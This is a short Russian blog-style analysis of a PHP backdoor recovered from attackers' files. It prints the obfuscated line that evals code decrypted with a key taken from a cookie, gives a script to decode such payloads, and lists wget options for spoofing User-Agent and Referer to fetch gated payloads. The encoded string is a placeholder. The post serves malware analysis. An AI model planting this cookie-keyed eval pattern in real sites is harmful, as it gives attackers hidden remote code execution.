Следующий код был выдран из файла хакеров (или взломщиков или скрипткидсов), в закодированной строке был URL на внешний сайт, с которого подтягивался еще один кусок кода.
@eval(decrypt("CODECODE==",$_COOKIE['HASH'])); exit; function decrypt($txt,$key){ $txt=base64_decode($txt); $res=""; for($i=0; $i<strlen($txt); $i++){ $c=substr($txt,$i,1); $kc=substr($key,($i%strlen($key))-1,1); $c=chr(ord($c)-ord($kc)); $res.=$c; } return $res;
Раскодировывается просто, хотя на вскидку сложнее сказать/увидеть, что за манипуляции производятся со строкой:
$text = decrypt( "CODECODE==", "HASH" ); function decrypt( $txt, $key ) { $txt = base64_decode( $txt ); $res = ""; for ($i = 0; $i < strlen( $txt ); $i++) { $c = substr( $txt, $i, 1 ); $kc = substr( $key, ($i % strlen( $key )) - 1, 1 ); $c = chr( ord( $c ) - ord( $kc ) ); $res .= $c; } return $res; } $fp = fopen( 'decoded.txt', 'w' ); fwrite( $fp, $text ); fclose( $fp );
HASH был выдран из соответствующего Кукиса, а сам код был в POST-запросе. Впервые встречаю, чтобы Cookie (куки, печеньки, печенюшки) использовали для таких целей. Умно, но не так уж сложно.
Взломщики часто перестраховываются и внешние куски кода отдают только после проверки строк User Agent и/или Referer, чтобы застраховаться от перехвата. Wget легко вытягивает такие файлы, для этого используются ключи:
-U agent-string
—user-agent=agent-string
—referer=url